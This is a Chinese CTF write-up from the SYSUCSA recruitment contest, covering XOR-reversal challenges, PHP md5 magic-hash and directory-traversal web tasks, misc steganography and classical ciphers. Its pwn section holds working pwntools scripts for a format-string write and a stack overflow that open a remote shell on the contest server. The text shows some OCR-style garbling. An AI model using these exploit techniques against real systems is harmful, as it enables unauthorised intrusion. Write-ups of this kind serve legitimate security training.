SYSUCSA 招新赛

Writeup

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Reverse

题目: heythere 50

```
flag 格式为 sysucsa{****}
```

链接: http://charliecloud.cn/files/2ac307cc583a123b1257b7230b8b3a60/new

解题:

用 file 确定下 64bit,拖进 ida64 里反编译看源码:

```
IDM VI W CELEGRATOR W MINER VI W MINER CONTROL W
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3
   int i; // [sp+Ch] [bp-4h]@1
4
5
   puts("Please input your flag:");
    _isoc99_scanf((__int64)"%s", (__int64)str);
ó
7
   len = strlen(str);
   for ( i = 0; i < len; ++i )
8
     str[i] ^= i;
9
0
   if ( !strcmp(str, s) )
     puts("Right!");
1
2
   else
3
     puts("No....Try again");
4
   return 0;
5|}
```

很明显的对输入的 str 进行分别于 index 异或,然后和变量 s 比较,那就反异或咯,反正反 异或直接异或回去就行了

C 代码如下:

#include <iostream>

using namespace std;

int p[]={0x73, 0x78, 0x71, 0x76, 0x67, 0x76, 0x67, 0x7C, 0x51, 0x39, 0x7F,0x54, 0x4B, 0x62, 0x39, 0x50, 0x21, 0x65, 0x33, 0x6E};

char k[21];

int main(){

题目: sysucsa 150

flag 格式为 sysucsa{****}

链接: http://charliecloud.cn/files/2ada1ac9c95bd289b707f6d112e089c0/sysucsa_0

解题:

用 file 确定为 64 位, 然后拖到 ida64

```
__int8 v17; // ST19_1@1
    int8 v18; // ST1A 1@1
    int8 v19; // ST1B 1@1
  __int8 v20; // ST1C_1@1
  __int8 v21; // ST1D_1@1
  __int8 v22; // ST1E_1@1
   int8 v23; // ST1F 1@1
  v3 = translate(c);
  putchar(v3);
  v4 = translate(a1);
  putchar(v4);
  v5 = translate(dword_6010E8);
 putchar(v5);
  v6 = translate(dword_6010EC);
  putchar(v6);
  v7 = translate(dword_6010F0);
  putchar(v7);
  v8 = translate(dword_6010F4);
看 translate
  SWILLIE ( a. )
    case 0:
      v2 = a ^ dword_601064;
      break;
    case 1:
      v2 = dword 601068 ^ dword 60106C;
      break;
    case 2:
      v2 = dword_601070 ^ dword_601074;
      break;
    case 3:
      v2 = dword_601078 ^ dword_60107C;
      break;
    case 4:
      v2 = dword_601080 ^ dword_601084;
      break;
    case 5:
异或, 那就反异或回去, 其实就是对应 index 的值
C 代码:
#include <iostream>
using namespace std;
int a2[]=\{0x73,0x4c,0x79,0x59,0x75,0x29,0x63,0x42,0x61,0x0D,
0x7B,0x71,0x31,0x34,0x6D,0xC6,0x70,0x8A,0x33,0x7F,0x5F,0xAE,0x52,0x92,0x76,0xEC,0x7D,0
x57};
int ddd[21] = \{0,1,0,2,3,0,4,5,0,6,7,8,6,9,10,11,9,12,10,6,13\};
```

int8 v16; // SI18 101

题目: sysucsa_0 100

flag 格式为 sysucsa{****}

链接: http://charliecloud.cn/files/2ada1ac9c95bd289b707f6d112e089c0/sysucsa 0

解题:

用 file 确定下 64bit, 拖进 ida64 反编译看源码:

```
v1 = translate(0);
putchar(v1);
v2 = translate(1);
putchar(v2);
v3 = translate(2);
putchar(v3);
v4 = translate(3);
putchar(v4);
v5 = translate(4);
putchar(v5);
v6 = translate(5);
putchar(v6);
v7 = translate(6);
putchar(v7);
v8 = translate(7);
```

看下 translate

```
1 __int64 __fastcall translate(int x)
2 {
3    return a[x] ^ (unsigned int)x;
4 }

又是异或
```

这题一开始完全想不到反异或,尝试了什么把输出结果进行偏移看能不能凑出 sysucsa,都失败了。(后来明白这就是逆向啊 hh)

那就反异或回去,但反异或其实就是原数,所以只要对应 index 进行输出就好了,

```
C 代码如下:
#include <iostream>
using namespace std;
int a[]=\{0x73, 0x79, 0x73, 0x75, 0x63, 0x73, 0x61, 0x7B, 0x54, 0x72, 0x79, 0x5F, 0x34, 0x72, 0x79, 0x79, 0x75, 0x61, 0x78, 0x78, 0x78, 0x79, 0
0x6E,
0x6F, 0x37, 0x68, 0x33, 0x77, 0x5F, 0x6E, 0x30, 0x72, 0x7D};
int main(){
                      /*int a=0x79^(unsigned)1;
                      cout<<char(a)<<endl;
                     int b=a^(unsigned)1;
                      cout<<char(b)<<endl;
                      cout<<char(0x79)<<endl;*/
                     for(int i=0;i<=17;i++){
                                            cout<<char(a[i]);
                     }
                      cout<<char(a[22]);
                      cout<<char(a[19]);
                      cout<<char(a[20]);
                      cout<<char(a[21]);
                      cout<<char(a[18]);
                      cout<<char(a[23]);
```

```
cout<<endl;
return 0;
}
结果:
sysucsa {Try_4no7h3r_n0w}
```

Web

题目: 签到 50

链接: http://sysucsa.me:8081/%E7%AD%BE%E5%88%B0%E9%A2%98/

解题:

打开 image,直接看源码,搜 key words

lag: sysucsa{W3lc0me_t0_th3_CyberSp4ce}

题目: fake md5 collision 100

链接: http://193.112.74.17/web2/

解题:

根据提示看源码

```
<!--
<php
a = @$_GET['a'];
b = @S GET['b'];
\sharp a_md5 = @md5(\$a);
b_md5 = @md5($b);
if(isset($a) && isset($b)){
   if ($a != $b && $a_md5 == $b_md5) {
        echo "sysucsa{******************************
    } else {
        echo "Sorry, just think more";
   }}
   else{
        echo "I guess you know how to see the source code";
-->
是两个字符串的 md5 要匹配,而且在 php 语言中
一开始傻傻地还在网上找了半天在线 md5 生成,
后来发现是 php, 可能有什么特殊, 果然, 一查, php 的 md5 只要头部都是 Oe 就相同
网上找到
md5('s878926199a')=0e545993274517709034328855841020
md5('s155964671a')=0e342768416822451524974117254469
结果如下:
sysucsa{PHP 1s th3 best pr0gr4m language}
```

题目: 单身二十年 100

链接:

http://sysucsa.me:8081/%E5%8D%95%E8%BA%AB%E4%BA%8C%E5%8D%81%E5%B9%B4/

解题:

骗我点链接 hh, 直接 fiddler 抓包

```
<script>window.location="./key_is_no_here.php"; </script>
key is here : sysucsa{GoOd_h4nd_sp3ed!}
```

题目: AAencode 100

链接: http://sysucsa.me:8081/AAencode/

解题:

一开网页就是某种编码。AAencode 吧。直接找个在线的

```
 \begin{pmatrix} (\circ 0^{\circ}) + ((\circ 0^{\wedge} - \circ) + (\circ 0^{\wedge} - \circ)) + ((\circ^{\circ} - \circ) + (\circ 0^{\circ})) + (\circ^{\wedge} - \circ) + (\circ^{\circ} - \circ) + (\circ^{\wedge} - \circ) + (\circ^{\wedge}
```

加密

解密

alert("sysucsa{Hel10, Jav4Scr!pt}")

题目: Robots 100

There are robots in this website, they will tell you the flag.

链接: http://sysucsa.me:8082/web2/index.php

解题:

一开始只想到了抓包,参考

https://www.40huo.cn/blog/hackinglab-basic.html 0x0C

应该想到 robots.txt, robots.txt 是放在网站根目录下的, search engine 访问网站, 第一时间访问 robots.txt

找到了

user-agent: *
Disallow: .jpg\$
Disallow: .jpeg\$
Disallow: .gif\$
Disallow: .png\$
Disallow: .bmp\$
Disallow: /Flag/i5/n0T/H3r3/ohno.php
Disallow: /cgi-bin/
Disallow: /tmp/
Disallow: /~joe/

然后访问 Flag 那个链接
sysu{RObots. Txt iS UsefU1}

题目: My secret world 200

Please go back, thank you.

Please don't scan the website, you won't get anything.

链接: http://120.79.150.82/web1/index.php

解题:

依次输入 1,2,3 得以下结果



My secret world

Please input 1~3 to read my secert

Make war upon this bloody tyrant, Time? And fortify yourself in your decay With means more blessed than my barren rime? Now stand you on the top of happy hours, And many maiden gardens, yet unset, With virtuous wish would bear your living flowers, Much liker than your painted counterfeit: So should the lines of life that life repair Which this time's pencil or my pupil pen, Neither in inward worth nor outward fair Can make you live yourself in eyes of men. To give away yourself keeps yourself still, And you must live, drawn by your own sweet skill.

My secret world

Please input 1~3 to read my secert

shh, the flag is in flag.php

然后将路径改为/web1/flag1.php



You are too young!

参考了 writeup, 可能是目录穿越漏洞

https://www.cnblogs.com/vo-ov/p/3745651.html

得到结果:

My secret world

Please input 1~3 to read my secert

../flag.php submit sysucsa {../../../../ Is fUNNNNN!}

了解了目录穿越攻击,主要是 web 应用允许用户输入文件名,而 web 应用根据相应的 php 文件将这个文件名与特定目录结合,去读取文件。

```
例如: openfile.php

<?php

if(isset($_GET["file"]))

{

@readfile("home/users/".$_GET["file"]);

}

?>
```

比如这个网页的根目录是/home/waterdrop/, 当前 index.php

D Not secure | 120.79.150.82/web1/index.php 在/home/waterdrop/web1中,

因为不清楚 index.php 对文本框输入文件的具体处理代码,假设附加目录: demo/, 则输入 Flag.php 的文件在/home/waterdrop/demo/中。

那输入../flag.php 就在根目录中了呵呵

但显然这个 index.php 代码不是

```
例如: openfile.php
<?php
if(isset($_GET["file"]))
{
@readfile("home/users/".$_GET["file"]);
}
?>

这样的,因为这样根本无变化

← → C ① Not secure | 120.79.150.82/web1/index.php?file=../flag.php

□ Apps ■ 网红学霸: 从学习— ■ 管理概论_中国大学M ※ 每次不想学习就看— □ Hack □
```

My secret world

Please input 1~3 to read my secert

Submit No such secert!

补充下 url 中问号作用:

http://pcwanli.blog.163.com/blog/static/45315611201301611324973/

所以推测,index.php 中包含了这个页面的 html,然后读取 text 的伪代码如下:

If 读取文本

If 内容为 1,2,3, then ···

Else 最终路径 原始路径/../flag.php

这里稍作探索(web 不是很熟):

1. 目录



猜测: web1 下只有 index.php 所以经过另一个.php 解析访问 index.php?

2. 确定目录

Windows: https://msdn.microsoft.com/zh-cn/library/ms474356(v=office.12).aspx

Pwn

题目: cat flag 签到题 50

nc sysucsa.me 5054

安装 netcat linux 版, 然后

直接 nc sysucsa.me 5054

```
root@kali:/mnt/hgfs/SharedWithVM# nc sysucsa.me 5054
ls
bin
blind
dev
flag
lib
lib32
lib64
cat flag
FLAG{cat flag? dog flag!}
```

题目: format string 200

nc sysucsa.me 5050

链接:

http://charliecloud.cn/files/0867cab6a360cb60efa05a78c0cad788/pwn1

先 Checksec 下

```
root@kali:~/Desktop# Checksec pwn1

[*] '/root/Desktop/pwn1'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x8048000)
```

ida32 位打开,结合源码查看,

```
root@kali:~/Desktop# ./pwn1
0xffac1b28
123
pa 123root@kali:~/Desktop#
```

应该是要把 var_70 的值用 format string 去替换掉

```
-00000070 var_70 dd ?
-0000006C format db ?
-0000006B db ? ; undefined db ? ; undefined
```

参照教程, 应该是以下方式

makefile在对应的文件夹中。而无论是<mark>覆盖</mark>哪个地址的变量,我们基本上都是构造类似如下的 payload

```
...[overwrite addr]....%[overwrite offset]$n
```

首先通过 recvuntil 读取 c 的地址,然后 p32 一下,但 p32 (address) 只能得到 4 个字符,而题目要求修改到数值 100,所以还要填充 96 个字符,即

p32(c addr) + '%096d'

现在看我们输入的格式化字符串的地址相对于 printf 函数的格式化字符串参数的偏移, 用 gdb 跑下,

可以看到

```
00:0000
         esp 0xbffff29c --
                                                       add
                                                               esp, 0x10
               0xbffff2a0 → 0xbffff2bc ← '%d%d'
01:0004
               0xbfffff2a8 → 0xb7fd0410 → 0x80482ee ← inc
03:000c
                                                                  edi /* 'GLIBC 2.0'
04:0010
               0xbffff2ac ← 0x1
               0xbffff2b0 ← 0x0
0xbffff2b4 ← 0x1
05:0014
06:0018
               0xbffff2b8 -- 0x7b /* '{' */
07:001c
```

输入字符串的地址 0xbffff2bc 和 printf 函数的格式化字符串参数 0xbffff2a0 的偏移为 0x1c, 即格式化字符串相当于 printf 函数的第 8 个参数,相当于格式化字符串的第 7 个参数。所以完整的 payload 构造如下:

```
from pwn import *

def forc():

sh = remote("sysucsa.me",5050)

c_addr = int(sh.recvuntil('\n', drop=True), 16)

payload = p32(c_addr) + '%096d' + '%7$n'

print payload

sh.sendline(payload)

sh.interactive()

forc()
```

nc 下得结果:

题目: overflow 200

nc sysucsa.me 5051

链接:

http://charliecloud.cn/files/ac9562d96c66607d7869984babc15120/pwn2

先拖进 kali 看下 file 和 checksec:

```
root@kali:~/Desktop# file pwn2
pwn2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically link
ed, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4a3a066b
f2942ab96c8ea6a27e0399bd6aefe700, not stripped

root@kali:~/Desktop# checksec pwn2
[*] '/root/Desktop/pwn2'
    Arch: i386-32-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x8048000)
```

32 位的, 而且 not stripped, 查了下 stripped

https://blog.csdn.net/bitsjx/article/details/7454805

又查了下 relro

http://tacxingxing.com/2017/07/14/relro/#toc_0

先在64位上装32位环境:

https://askubuntu.com/questions/454253/how-to-run-32-bit-app-in-ubuntu-64-bit

用 32 位 ida 打开, 反编译

```
int _ cdecl main(int argc, const char **argv, const char **envp)
2 (
3
   char s; // [sp+8h] [bp-20h]@1
   int v5; // [sp+1Ch] [bp-Ch]@1
5
5
   setbuf(stdin, 0);
   setbuf(stdout, 0);
3
   U5 = 123;
9
   qets(&s);
   if ( | | == 305441741 )
     system("/bin/sh");
1
2
   else
     puts("You lose.");
3
   return 0;
5|3
-000000020 5
                            db?
                            db ? ; undefined
 -0000001F
 -0000001E
                            db ? ; undefined
                            db ? ; undefined
 -0000001D
                            db ? ; undefined
 -0000001C
 -0000001B
                            db ? ; undefined
 -0000001A
                            db ? ; undefined
 -00000019
                            db ? ; undefined
 -000000018
                            db ? : undefined
                            db ? : undefined
 -000000017
 -00000016
                            db ? : undefined
 -00000015
                            db ? : undefined
 -00000014
                            db ? ; undefined
                            db ? ; undefined
 -00000013
                            db ? ; undefined
 -000000012
 -00000011
                            db ? : undefined
                           db ? : undefined
 -00000010
                            db ? ; undefined
 -0000000F
 -0000000E
                            db ? : undefined
 -0000000D
                            db ? ; undefined
                           dd ?
 -00000000C var C
 -00000008
                            db ? ; undefined
 -00000007
                            db ? : undefined
                            db ? : undefined
 -000000006
                            db ? ; undefined
-00000005
```

思路应该是覆盖 var_c 的值,gets 去覆盖 var_c 的内容。用 nc 连下

```
root@kali:~# nc sysucsa.me 5051
hshshs
You lose.
```

第一次做,看了下 https://blog.csdn.net/qq_38204481/article/details/80954747 同样 200 分的题参考下,

NX 保护:

https://blog.csdn.net/autohacker/article/details/51162229

想了想可以这样,对于 s-var_c 之前,随意填充 aaaa (0x61) 然后 var_c 开始填为 305441741 转为 2 进制: 00010010011010101010101111001101, 转为 ascii 码: \x12 \34 \ab \cd 同时考虑到 c 中 string 最后是\x00(可能不需要,因为 gets 应该自动加的。有待考证,)但不清楚 elf x32 在栈中读 int 是怎样方式,那就试试:

一开始构造 payload:

from pwn import *

```
p=remote("sysucsa.me",5051)
payload='\x61' *20+'\x12' +'\x34' +'\xab' +'\xcd'
```

p. send(payload)

p.interactive()

错误

那就把顺序倒下

```
from pwn import *

p=remote("sysucsa.me",5051)

#p.recvline()
payload='\x61|'*20+'\xcd'+'\xab'+'\x34'+'\x12'
p.sendline(payload)
p.interactive()
#print(payload)
```

```
root@kali:~/Desktop# python pwn2.py
[+] Opening connection to sysucsa.me on port_5051: Done
[*] Switching to interactive mode
[*] Switching to interactive mode
ship free software: you are free to change and redistribute it.
$ ls is NO WARRANTY, to the extent permitted by law. Type "show bin show warranty" for details.
dev GDB was configured as "x86_64-linux-gnu".
flag.txt configuration for configuration details.
lib greporting instructions, please see:
lib32 //www.gnu.org/software/gdb/bugs/>.
lib64 GDB manual and other documentation resources online at:
libx32 //www.gnu.org/software/gdb/documentation/>.
pwn fyne "help".
$ cat flag.txt for search for commands related to "word"...
sysucsa{SImple_sTack_ov3rfl0w}
```

Bingo

看来 32bit elf 在 linux 下,作为局部变量在栈中读取 int 的方式是低字节为高位,这么一想和 char【】一样的

Misc

题目:签到题 50

V1hwT2MyVnRVbGhVYm5CYVYwaE9ORnBGV1RWak1 rMTRUMWh3VGxKcWJITIdWRXBIVGxkYVVsQIVNRDA9

解题:

一看就是 base64, 但需要多次解密

sysucsa{1t ls s0 eSay}

题目: More png 100

链接:

http://charliecloud.cn/files/212e4319a0aaba29efa7e63e4af8fa9a/misc.pn

解题:

拖进 010 editor,看下几个关键点: PNG 头,IHDR,IDAT,IEND 数据块都在,那就是 png 图像尺寸修改了,

把高改成和宽一样,

00 00 03 F3 00 00 03 F3

效果如下:

sysu{png is verrrrrrrrrRrRRy fUNNNnN}

题目: python 是世界上最好的两种语言? 200

链接:

http://charliecloud.cn/files/55cda32d70916c0fc4668b9be7bebd82/misc

解题:

拖到 kali 里 file 命令看了下,是 data

打开看是二进制,想到用010 editor打开,

```
0123456789ABCDEF

^IMF.....IHDR

.....‡Žé

Œ...sRGB.®Î.é..

..gAMA..±..üa...

.pHYs...t..t.Þ
```

打开后有 IHDR 字样, 应该是 png 文件,

结合 MISC 的类型,可能是隐写,双图之类的,结合题目,说两种语言,双图可能性大点。但这不是 png 格式,改成 png 就出错,

于是看了下 png 的格式,

http://www.cnblogs.com/lidabo/p/3701197.html

对比了头部8字节,发现,前4字节有问题,改掉。出现了二维码



照理有三个方框,缺了两个,可能是损坏或隐写?

先用 binwalk 分析下:

```
DECIMAL HEXADECIMAL DESCRIPTION

O 0x0 PNG image, 280 x 280, 8-bit/color RGBA, no n-interlaced

O 0x5B Zlib compressed data, compressed
```

学习了 no-interlaced, zlib 是压缩库, 所以是图片中藏有压缩包罗

用 StegSolve 的 File Format 查看数据块,在 IDAT (图像数据块) 处为压缩数据

Chunk:

Critical - necessary for display of image MUST BE recognized to proceed

Public

Unsafe to copy unless known to software

Hex:

49444154

Ascii:

IDAT

Data length = 1520 bytes

CRC = 9c77de75

Image data, compressed

用 010Editor 打开,找了 IDAT,没有看到可疑的数据,都是压缩数据,看了下教程,是正常文件

找了下 qr 码的定义, 发现缺了 2 个定位符

https://blog.csdn.net/u012611878/article/details/53167009

用画图工具补下, 扫下码, 出来一串, 看着有 0-F, 没有其他字符, 大概率 ascii 码, 用 win64 保存为 hex, 发现 flag 和 pyt 字样

```
00 00 00 63 68 72 28 03 00 00 00 74 03 00 00 00
                                                  chr(
73 74 72 74 04 00 00 00 66 6C 61 67 74 01 00 00
                                                       flagt
                                                strt
00 69 28 00 00 00 00 28 00 00 00 00 73 05 00 00
                                                i(
                                                      (
00 70 79 2E 70 79 52 03 00 00 00 01 00 00 00 73
                                                py.pyR
52 00 00 00 00 02 03 01 03 01 03 01 03 01 03 01
03 01 03 01 03 01 03 01
                       03 01 03 01 03 01 03 01
03 01 03 01 03 01 03 01
                       03 01 03 01 03 01 03 01
03 01 03 01 03 01 03 01
                       03 01 03 01 03 01 03 01
03 01 03 01 03 01 03 01
                       03 01 03 01 03 01 09 02
06 01 0D 01 14 01 4E 28 01 00 00 00 52 03 00 00
00 28 00 00 00 00 28 00 00 00 28 00 00 00 00
73 05 00 00 00 70 79 2E 70 79 74 08 00 00 00 3C
                                                    py.pyt
6D 6F 64 75 6C 65 3E 01 00 00 00 73 00 00 00 module>
```

拖到 kali 用 file 看下:

```
root@kali:~/Desktop# file qr
qr: python 2.7 byte-compiled
```

应该是 pyc,用 uncompyle2 反编译以下

```
101,
    115,
    116,
   95,
   49,
    97,
    110,
  103,
    117,
   97,
    103,
   101,
   33,
  125]
   flag = ''
   for i in str:
       flag += chr(i)
   print flag
++ okay decompyling /root/Desktop/qr
decompiled 1 files: 1 okay, 0 failed, 0 verify failed
2018.09.26 00:36:45 EDT
```

还有一道关卡 hh, py 走起

```
root@kali:~/Desktop# python py.py()
SYSUCSA{P5th0n_1s_2he_3est_language!}
```

呵呵, 内置

我纠结

Over!

Crypto

```
题目: F_ _ 100
```

这些是什么鬼? f___!

格式 sysucsa{***} 或 sysu{***}

链接:

 $\frac{\text{http://charliecloud.\,cn/files/44accd3f35a7e184fcbc929697d54d21/problem}}{\text{.txt}}$

解题:

```
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[]+[]
[]+[])[+[]]+([![]]+[][[]])[+!+[]+[]+[]]]
[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+
[+!+[]]])[+!+[]+[]]]+([][[]]+[])[+!+[]
看了下[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]
```

一看就是 jsfuck, 链接解题:

```
www.jsfuck.com says
sysu{CryPt0 15 AmazIN9!!!}
```

题目:摩尔斯与凯撒的约会 100

解题:

一看就是摩尔斯电码

Your message: (Reverse - Swap)
-..- / -... / -..- / / -..- / /

This is your encoded or decoded text:

XDXZHXFHJFXJWNXHTTQ

然后还有凯撒, 那就是 rot

ROT21

SYSUCSACEASERISCOOL

结果出来了